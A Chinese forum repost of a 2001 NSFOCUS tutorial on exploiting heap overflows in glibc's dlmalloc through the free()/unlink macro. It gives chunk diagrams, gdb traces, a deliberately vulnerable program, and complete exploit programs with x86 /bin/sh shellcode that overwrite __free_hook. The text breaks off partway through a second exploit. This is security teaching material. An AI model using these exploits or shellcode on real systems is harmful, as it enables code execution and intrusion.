一种新的Heap区溢出技术分析

http://www.linuxsir.org/bbs/thread50097.html

发表于 2003-07-03 22:46:41 |只看该作者 |倒序浏览

作者：warning3 < maito:[e-mail] > 
主页：http://www.nsfocus.com 
日期：2001-3-09 
原文出处：http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=529&keyword=%D6%D6%D0%C2%B5%C4Heap%C7%F8%D2%E7%B3%F6%BC%BC%CA%F5%B7%D6 
★ 前言 

通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来 
完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>： 
http://magazine.nsfocus.com/detail.asp?id=353 
如果系统中没有这些条件，尽管能够发生溢出，攻击者仍然很难执行自己的代码。 
这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap 
攻击的可能性大大增加了。 

注：下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21) 

★ 目录 

1. 简单介绍 
2. 一个简单的例子 
3. malloc/calloc/realloc/free的基本概念 
4. 两种可能的攻击方法 
5. 针对弱点程序的两个演示程序 
6. 实例: Traceroute "-g"问题 

★ 正文 

1. 简单介绍 

使用malloc()或者calloc()可以动态分配一段内存，并向用户返回一个内存地 
址，而实际上这个地址前面通常有8个字节的内部结构，用来记录分配的块长度 
以及一些标志。如果这些结构的内容被覆盖，在某些malloc实现下，可能导致 
攻击者将任意数据写到一个任意内存地址中去，从而可能改变程序执行流向， 
以至执行任意代码。 

2. 一个简单的例子 

下面我们来看一个简单的例子，这是一个非常典型的Heap溢出问题程序。它分 
配两块内存，然后向其中的一块拷贝了一些数据，由于没有检查数据长度，发 
生溢出。 

Shell代码 

1. /* A simple vulnerable program for malloc/free test - vul.c   
2. *           by [email][e-mail][/email] ([url]http://www.nsfocus.com[/url])   
3. *                                     2001/03/05  
4. */  
5.   
6. #include <stdlib.h>  
7.   
8. int  
9. main (int argc, char *argv[])  
10. {  
11.   char *buf, *buf1;  
12.   
13.   buf = malloc (16); /* 分配两块16字节内存 */  
14.   buf1 = malloc (16);  
15.     
16.   if (argc > 1)  
17.     memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */  
18.   
19.   printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);  
20.   printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);  
21.   printf ("From buf to buf1 : %d\n\n", buf1 - buf);  
22.   
23.   printf ("Before free buf\n");  
24.   free (buf); /* 释放buf */  
25.   printf ("Before free buf1\n");  
26.   free (buf1); /* 释放buf1 */  
27.   
28.   return 0;  
29. } /* End of main */  

现在让我们来看看结果： 

[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g 
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'` 
0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常 
0x8049780 [ buf1 ] (00) : 
From buf to buf1 : 24 <-- 两个buffer之间相差 16+8=24 字节 

Before free buf 
Before free buf1 

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'` 
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 为什么会是21字节?? 
0x8049780 [ buf1 ] (00) : <-- 溢出的数据还没有进入buf1"境内" 
From buf to buf1 : 24 

Before free buf 
Before free buf1 

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'` 
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 这次字节数对了 
0x8049780 [ buf1 ] (00) : 
From buf to buf1 : 24 

Before free buf 
Segmentation fault (core dumped) <-- 出现可爱的段错误了 
<-- " Before free buf1"怎么没有出现？说明段错误发生在执行free(buf)时 

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'` 
0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA 
0x8049780 [ buf1 ] (04) : AAAA <-- 这回溢出的数据才算到达buf1"境内" 
From buf to buf1 : 24 

Before free buf 
Segmentation fault (core dumped) 

看起来，似乎这种段错误并不足以让我们执行自己代码，因为覆盖的地方既没有 
函数指针，也没有任何所能利用的变量或结构，更别提返回地址了。别着急，接 
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前，我要先 
讲一下malloc/calloc/realloc/free的基本概念。 

3. malloc/calloc/realloc/free的基本概念 

malloc/calloc/realloc/free这几个函数，是用来分配或释放动态内存的。 

目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成 
的。我们下面所讲的，都是指这一版本的实现。 

从Linux的Man手册MALLOC(3)中看到这些函数原型如下： 

void *calloc(size_t nmemb, size_t size); 
void *malloc(size_t size); 
void free(void *ptr); 
void *realloc(void *ptr, size_t size); 

calloc()用来分配nmemb个size大小的内存块，并返回一个可用内存地址。 
它会自动将得到的内存块全部清零。 

malloc()用来分配size大小的内存块,并返回一个可用内存地址。 

free()释放ptr所指向的内存。 

realloc()用来将ptr指向的一块内存的大小改变为size. 

我们需要注意的是free()和realloc()函数。它们都是比较危险的函数，如果 
所提供的地址指针ptr所指向的内存是已经释放的，或者不是由malloc类函数 
分配的话，就可能发生不可预料的情况。我们要利用的，也就是这些"不可预 
料"的情况。 

由于calloc()和malloc()差别不大，实际上都是调用的chunk_alloc()函数来 
进行分配的，区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配 
的内存块清零。因此后面除非特别指出，我们就只以malloc()为例. 

malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。 

struct malloc_chunk 
{ 
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 
struct malloc_chunk* fd; /* double links -- used only if free. */ 
struct malloc_chunk* bk; 
}; 

prev_size是上一个块的大小，只在上一个块空闲的情况下才被填充 
size是当前块的大小，它包括prev_size和size成员的大小(8字节) 
fd是双向链表的向前指针，指向下一个块。这个成员只在空闲块中使用 
bk是双向链表的向后指针，指向上一个块。这个成员只在空闲块中使用 

对于已分配的内存，除了分配用户指定大小的内存空间外，还在前面增加了 
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示： 


0 16 32 
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 上一个块的字节数（如果上一个块空闲的话） | | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 当前块的字节数 (size) |M|P| 
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 用户数据开始... . 
. . 
. (用户可以用空间大小) . 
. | 
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

这里chunk指针是malloc()在内部使用的，而返回给用户的是mem指针(chunk + 
8),实际上向用户隐藏了一个内部结构。也就是说，如果用户要求分配size字节 
内存，实际上至少分配size+8字节，只是用户可用的就是size字节(这里先不考 
虑对齐问题)。nextchunk指向下一个内存块。 


对于空闲(或者说已经释放的)块，是存放在一个双向循环链表(参见上面的 
malloc_chunk结构)中的。 

在内存中的分布基本如下图所示： 

0 16 32 
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 上一个块的字节数(prev_size) | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
`head:' | 当前块的字节数 (size) |M|P| 
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 前指针(指向链表中的下一个块) | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 后指针(指向链表中的上一个块) | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
| 未被双向链表使用的空间(也可能是0字节长) . 
. . 
. | 
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
`foot:' | 上一个块的字节数 (等于chunk->size) | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

大家可能主要到两个表中都有一个"P"标志，它是"当前块字节数"(chunk->size) 
中的最低一位,表示是否上一块正在被使用。如果P位置一，则表示上一块正在被 
使用，这时chunk->prev_size通常为零；如果P位清零，则表示上一块是空闲块, 
这是chunk->prev_size就会填充上一块的长度。 

"M"位是表示此内存块是不是由mmap()分配的，如果置一，则是由mmap()分配的， 
那么在释放时会由munmap_chunk()去释放；否则，释放时由chunk_free()完成。 

这两位标志相关定义为： 

#define PREV_INUSE 0x1 
#define IS_MMAPPED 0x2 

由于malloc实现中是8字节对齐的，size的低3位总是不会被使用的，所以在实际 
计算chunk大小时，要去掉标志位。例如： 
#define chunksize(p) ((p)->size & ~(SIZE_BITS)) 

一次malloc最小分配的长度至少为16字节，例如malloc(0).（上面说的长度是指 
chunk的长度） 

了解了上面这些基本概念，我们再来看看free(mem)时做了些什么： 

首先将mem转换为chunk(mem-8)，并调用chunk_free()来释放chunk所指的内存块。 

然后程序会检查其相邻（包括前后）的内存块是不是空闲的： 
如果是空闲块的话，就将该相邻块从链表中摘除(unlink)，然后将这些相邻的空 
闲块合并； 
如果不是空闲块的话，就只是设置后一个相邻块的prev_size和size(清 
PREV_INUSE标志)。 

最后将得到的空闲块加入到双向链表中去。

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沙发

发表于 2003-07-03 22:51:18 |只看该作者 |倒序浏览

在进行unlink操作时，实际上就是执行了一个链表结点的删除工作。 
比如，如果要从链表中删除chunk结点，所要做得就是: 
chunk0->fd <== chunk->fd 
chunk1->bk <== chunk->bk 

如下所示： 

chunk0 chunk chunk1 
+----------------------+..+----------------------+..+----------------------+ 
|prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| 
+----------------^-----+..+----------------+---+-+..+--------------------^-+ 
|_________________________| |_________________________| 

malloc实现中是使用了一个unlink宏来完成这个操作的，定义如下： 
/* take a chunk off a list */ 

#define unlink(P, BK, FD) \ 
{ \ 
BK = P->bk; \ 
FD = P->fd; \ 
FD->bk = BK; \ 
BK->fd = FD; \ 
} 

发现了吗？这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk 
的话，那么chunk->fd就会写到(chunk->bk + 8)这个地址，而chunk->bk就会被 
写到(chunk->fd + 12)这个地址！换句话说，我们可以将任意4个字节写到任意 
一个内存地址中去！！我们就可能改变程序的流程，比如覆盖函数返回地址、 
覆盖PLT表项、.dtor结构等等，这不正是我们所要的吗？ 

free()和realloc()中都有unlink操作，因此我们要做的就是要想办法用合适的 
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。 

下面让我们再回到开头的那个问题程序，看一下如何攻击它。 

4. 两种可能的攻击方法 

先来看看弱点程序是怎么出错的： 

[warning3@redhat-6 malloc]$ gdb ./vul -q 
(gdb) b main 
Breakpoint 1 at 0x80484a6: file vul.c, line 10. 
(gdb) r `perl -e 'print "A"x21'` 
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'` 

Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10 
10 buf = malloc (16); /* 分配两块16字节内存 */ 
(gdb) n 
11 buf1 = malloc (16); 
(gdb) p/x buf 
$1 = 0x8049768 
(gdb) x/20x buf-8 
0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000 
0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889 
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 
0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000 
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 

[ p表示内存块内部指针 ] 

[ 注意上面加*号的地方，这里开始的结点是链表中的top结点, #号处是它的长度 ] 

(gdb) p/x *(buf-4) <--- 这里存放的是当前块的大小，设置了PREV_INUSE位 
$3 = 0x19 
(gdb) p/x *(buf-4)&~0x1 <-- 算一下实际长度: 0x18 = 0x10 + 0x8 
$4 = 0x18 
(gdb) n 
13 if (argc > 1) 
(gdb) p/x buf1 <-- 分配第二块内存 
$5 = 0x8049780 

(gdb) x/20x buf-8 
0x8049760: p:0x00000000 0x00000019 buf:0x00000000 0x00000000 
0x8049770: 0x00000000 0x00000000 p1:0x00000000 0x00000019 
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000 
0x8049790: *0x00000000 #0x00000871 0x00000000 0x00000000 
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 

[ p1表示内存块内部指针 ] 

[ 我们看到top结点后移了0x18字节，长度也缩小了0x18字节 ] 

(gdb) n 
13 if (argc > 1) 
(gdb) n 
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */ 
(gdb) n 
16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf); 
(gdb) x/20x buf-8 
0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141 
0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019 
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000 
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 

[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ] 
[ 紧接着的那个字节0x19是p1块的长度，所以下面再计算strlen(buf)时得到的长度为 ] 
[ 21.现在你应该明白开头那个问题的答案了吧 ] 

(gdb) c 
Continuing. 
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA 
0x8049780 [ buf1 ] (00) : 
From buf to buf1 : 24 

Before free buf 
Before free buf1 

由于上面的情况下，p1的size部分没有被覆盖，因此系统认为buf前后的块都不 
是空闲的,因此就不会有unlink操作，也就不会有段错误发生了。如果我们再增 
加几个字节，就没有那么"幸运"了. 

(gdb) b 14 
Breakpoint 1 at 0x80484ca: file vul.c, line 14. 
(gdb) r `perl -e 'print "A"x24'` 
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'` 

Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14 
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */ 
(gdb) x/20x buf-8 
0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000 
0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019 
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 
(gdb) n 
16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf); 
(gdb) x/20x buf-8 
0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141 
0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141 
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000 
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000 
(gdb) b 21 <-- 这时候buf1的内部结构(prev_size和size)已经被覆盖了 
Breakpoint 2 at 0x804855e: file vul.c, line 21. 
(gdb) c 
Continuing. 
0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA 
0x8049780 [ buf1 ] (00) : 
From buf to buf1 : 24 

Before free buf 

Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21 
21 free (buf); /* 释放buf */ 
(gdb) c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100 
3100 malloc.c: No such file or directory. 
(gdb) x/i $pc 
0x400740c4 <chunk_free+268>: testb $0x1,0x4(%ecx,%esi,1) 
(gdb) i r $ecx 
ecx 0x41414140 1094795584 <-- 这个是覆盖后p1的块长度 
(gdb) i r $esi 
esi 0x8049778 134518648 <-- 这个是p1块的地址 

下面我们来看free()是怎么工作的，以便确定到底是哪里发生了段错误。注意 
下面的代码做了一些简化： 

Shell代码 

1. void fREe(Void_t* mem)  
2. {  
3. ...  
4.   
5. (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置，则调用munmap_chunk() */  
6.   {  
7.     munmap_chunk(p);  
8.     return;  
9.   }  
10. ...  
11.   p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem - 8 */  
12. ...  
13.   chunk_free(ar_ptr, p);  
14. }  
15.      
16. static void  
17. internal_function  
18. chunk_free(arena *ar_ptr, mchunkptr p)   
19. {  
20.   INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */  
21.   INTERNAL_SIZE_T sz;  /* 当前块大小 */  
22.   INTERNAL_SIZE_T nextsz; /* 下一个块大小 */  
23.   INTERNAL_SIZE_T prevsz; /* 上一个块大小 */  
24.     
25.   ...  
26.     
27.   check_inuse_chunk(ar_ptr, p);  
28.   
29.   sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */  
30.   next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */  
31.   nextsz = chunksize(next); /* 得到下一个块的真实大小   
32.                              * #define chunksize(p) ((p)->size & ~(SIZE_BITS))  
33.                              */  
34.   
35. if (next == top(ar_ptr))  /* 如果下一个块是头结点，则与之合并 */  
36.   {  
37.     sz += nextsz;  
38.   
39. (b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/  
40.     {  
41.       prevsz = p->prev_size;  
42.       p = chunk_at_offset(p, -prevsz);  
43.       sz += prevsz;  
44.       unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */  
45.     }  
46.   
47.     set_head(p, sz | PREV_INUSE);  
48.     top(ar_ptr) = p;  
49.   
50.      .....    
51.   }  
52.   
53. /* 如果下一个块不是头结点 */    
54.   
55. (b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/  
56.   {  
57.     prevsz = p->prev_size;  
58.     p = chunk_at_offset(p, -prevsz);  
59.     sz += prevsz;  
60.   
61.     if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */  
62.       islr = 1;  
63.     else  
64.       unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */  
65.   }  
66.   
67.    /* 根据我的判断，刚才的程序，是在进行这个检查时发生段错误的 */  
68. (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的，则与之合并*/  
69.   {  
70.     sz += nextsz;  
71.   
72.    if (!islr && next->fd == last_remainder(ar_ptr))  
73.                                               /* re-insert last_remainder */  
74.     {  
75.       islr = 1;  
76.       link_last_remainder(ar_ptr, p);  
77.     }  
78.     else  
79.       unlink(next, bck, fwd);/* 从链表中删除下一个结点 */  
80.   
81.     next = chunk_at_offset(p, sz);  
82.   }  
83.   else  
84.     set_head(next, nextsz); /* 如果前后两个块都不是空闲的，则将下一个块的size   
85.                                中的PREV_INUSE位清零 */    
86.   
87.   set_head(p, sz | PREV_INUSE);  
88.   next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */  
89.   if (!islr)  
90.     frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */  
91.   
92.   .....  
93. }  

我们看到这里面有3个地方调用了unlink.如果想要执行它们，需要满足下列条件： 

1. (a) 当前块的IS_MMAPPED位必须被清零，否则不会执行chunk_free() 
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零) 
或者 
(c) 下一个块是个空闲块(下下一个块（p->next->next）size的PREV_INUSE位清零) 

我们的弱点程序发生溢出时，可以覆盖下一个块的内部结构，但是并不能修改当前 
块的内部结构，因此条件(b)是满足不了的。我们只能寄希望于条件(c). 

所谓下下一个块的地址其实是由下一个块的数据来推算出来的，因此，既然我们 
可以完全控制下一个块的数据，就可以让下下一个块的size的PREV_INUSE位为零。 
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2，下 
下一个块为块3，如下图所示： 

块1 块2 伪造的块3 
+----------------------+------------------------+..+-------------------------+ 
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意数据| 
+----------------------+------------------------+..+-------------------------+ 
| | | 
|--> p |-->next |-->next2next 

next = p + (size & ~PREV_INUSE) 
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED)) 

因此，只要我们能够通过修改size2，使得next2next指向一个我们控制的地址。 
我们在这个地址伪造一个块3，使得此块的size3的PREV_INUSE位置零即可！ 

然后，在fd2处填入要覆盖的地址，例如函数返回地址等等。Solar Designer建议 
可以使用__free_hook()的地址，这样再下一次调用free()时就会执行我们的代码。 

在bk2处可以填入shellcode的地址。 

实际构造的时候块2的结构如下： 

prev_size2 = 0x11223344 /* 可以使用任意值 */ 
size2 = (next2next - next) /* 这个数值必须是4的倍数 */ 
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */ 
bk2 = shellcode /* 这将导致fd2被写到shellcode + 8这个地址，所以需要 
在shellcode前面放一段跳转语句以跳过fd2 */ 

伪造的块3则要求很低，只需要让size3的最后一位为0即可: 

prev_size3 = 0x11223344 /* 可以使用任意值 */ 
size3 = 0xffffffff & ~PREV_INUSE /* 这里的0xffffffff可以用任意非零值替换 */ 

这个伪造的块可以放在任意可能的位置，例如块2的前面或者后面。如果要放在 
块2的后面，由于size2是4个字节，因此如果距离比较小的话，那么size2是肯定 
要包含零字节的，这会中断数据拷贝，因此距离必须足够远，以至于四个字节均 
不为零，堆栈段是一个不错的选择，通过设置环境变量等方法我们也可以准确的 
得到块3的地址。 
如果我们要将块3放到块2的前面，那么size2就是个负值，通常是0xffffffxx等 
等。这肯定满足size2不为零的要求，另外，这个距离我们也可以很精确的指定。 
因此我们决定采用这种方法。 

块1 （ 块3 ） 块2 
+---------------------------------------+------------------------+ 
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2| 
+---------------------------------------+------------------------+ 
| |<---- 8 字节 -->| 
| | 
|<----- 16字节 -------->| 

在上面的图上，我们将块3的8字节的内部结构放在了块1的用户数据区中，而 
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev 
_size以及数据段，而块2的prev_size我们也不关心，我们还可以有更简化的 
版本：将块3往右移动4个字节，即让siez3与prev_size2重合！ 

| 块1 |.... 块3 ..| 块2 | 
+---------------------------------------+------------------------+ 
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2| 
+---------------------------------------+------------------------+ 
| |<-- 4字节-->| (size3) 
| | 
|<----- 16字节 -------->| 

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下： 

prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */ 
size2 = 0xfffffffc /* 长度为-4 */ 
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */ 
bk2 = shellcode 

至于块3的prev_size3,我们并不关心，因此并不需要再特别构造。这样一来， 
我们的工作就大大简化了，只需要构造一个块2就可以了！ 
现在我们看看我们要做的事情： 

i. 使用32字节数据模板，前16字节是任意非零数值，而后16字节是我们伪造的 
块2 

ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来 
$ [warning3@redhat-6 malloc]$ gdb ./vul -e 
(gdb) b main 
Breakpoint 1 at 0x80484a6: file vul.c, line 10. 
(gdb) r 
Starting program: /home/warning3/malloc/./vul 

Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10 
10 buf = malloc (16); /* 分配两块16字节内存 */ 
(gdb) p/x &__free_hook 
$2 = 0x401091b8 

iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码，以便 
跳过一个malloc_chunk结构，因为(__free_hook-12)这个值会被写到 
shellcode+8处. 
+--------+---------------------+---------------+ 
|jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode| 
+--------+---------------------+---------------+ 
|<---- 10字节 ---->|

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发表于 2003-07-03 22:56:21 |只看该作者 |倒序浏览

5. 一个演示程序 

下面我们就可以来写溢出程序了，其实是相当简单的： 

Shell代码 

1. /* Exploit for free() with unlinking next chunk - ex.c   
2. *           by [email][e-mail][/email] ([url]http://www.nsfocus.com[/url])   
3. *                                     2001/03/06  
4. */  
5.   
6. #include <stdio.h>  
7. #include <stdlib.h>  
8.   
9. #define __FREE_HOOK     0x401091b8  /* __free_hook()地址 */  
10. #define VULPROG "./vul"  
11.   
12. #define PREV_INUSE 0x1  
13. #define IS_MMAPPED 0x2  
14.   
15. char shellcode[] =  
16.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/  
17.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
18.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
19.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";  
20.   
21. main (int argc, char **argv)  
22. {  
23.   unsigned int codeaddr = 0;  
24.   char buf[128], fake_chunk[16];  
25.   char *env[2];  
26.   unsigned int *ptr;  
27.   
28.   /* 计算shellcode在堆栈中的地址 */  
29.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);  
30.   
31.   env[0] = shellcode;  
32.   env[1] = NULL;  
33.   
34.   /* 伪造一个块结构 */  
35.   ptr = (unsigned int *) fake_chunk;  
36.   *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */  
37.   /* 设置长度为-4,这个值应当是4的倍数 */  
38.   *ptr++ = 0xfffffffc;  
39.   *ptr++ = __FREE_HOOK - 12 ;  
40.   *ptr++ = codeaddr;  
41.     
42.   bzero(buf, 128);  
43.   memset (buf, 'A', 16); /* 填充无用数据 */  
44.   memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));  
45.     
46.   execle (VULPROG, VULPROG, buf, NULL, env);  
47.   
48. } /* End of main */  

运行一下看看： 

[warning3@redhat-6 malloc]$ gcc -o ex ex.c 
[warning3@redhat-6 malloc]$ ./ex 
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@??? 
0x8049780 [ buf1 ] (08) : 瑧@??? 
From buf to buf1 : 24 

Before free buf 
Before free buf1 
bash$ <--- 成功了!! 

是不是很简单？:-) 

小节： 

现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部 
结构的指针(chunk = mem - 8)。 

我们有两种方法： 
1. 如果我们想利用上一块的unlink进行攻击，需要保证: 
I. chunk->size的IS_MMAPPED位为零 
II. chunk->size的PREV_INUSE位为零 
III. chunk + chunk->prev_size指向一个我们控制的伪造块结构； 
IV. 在一个确定的位置构造一个伪块 

2. 如果想利用下一个块的unlink进行攻击，需要保证: 
I. chunk->size的IS_MMAPPED位为零 
II. chunk->size的PREV_INUSE位为一 
III. chunk + nextsz 指向一个我们控制的伪造块结构。 
(nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED)) 
IV. 在一个确定的位置构造一个伪块 

其中伪块(fake_chunk)的结构如下： 

fake_chunk[0] = 0x11223344 & ~PREV_INUSE （只在第2种情况下有意义） 
fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); （只在第2种情况下有意义） 
fake_chunk[8] = objaddr - 12 ; (objaddr是要覆盖的目标地址) 
fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址) 

至于具体使用上面哪种方法，需要根据实际情况确定。例如，如果你不能控制 
chunk->prev_size使其指向我们的伪块，那就不能用第一种方法了。 

我们再看一个利用上一块的unlink进行攻击的例子，只要将弱点程序的free(buf1)放到 
free(buf)前面即可，这样我们所free的buf1就是一个我们可以控制的内存块了。 
改动后的vul.c如下： 
... 
printf ("Before free buf1\n"); 
free (buf1); /* 释放buf1 */ 
printf ("Before free buf\n"); 
free (buf); /* 释放buf */ 
... 

看看我们的新演示程序吧： 

Shell代码 

1. /* Exploit for free() with unlinking previous chunk - ex1.c   
2. *           by [email][e-mail][/email] ([url]http://www.nsfocus.com[/url])   
3. *                                     2001/03/06  
4. */  
5.   
6. #include <stdio.h>  
7. #include <stdlib.h>  
8.   
9. #define __FREE_HOOK     0x401091b8      /* __free_hook()地址 */  
10. #define VULPROG "./vul"  
11.   
12. #define PREV_INUSE 0x1  
13. #define IS_MMAPPED 0x2  
14.   
15. char shellcode[] =   
16.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */  
17.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
18.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
19.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";  
20.   
21. main (int argc, char **argv)  
22. {  
23.   unsigned int codeaddr = 0;  
24.   char buf[128], fake_chunk[16];  
25.   char *env[2];  
26.   unsigned int *ptr;  
27.   
28.   /* 计算shellcode在堆栈中的地址 */  
29.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);  
30.   
31.   env[0] = shellcode;  
32.   env[1] = NULL;  
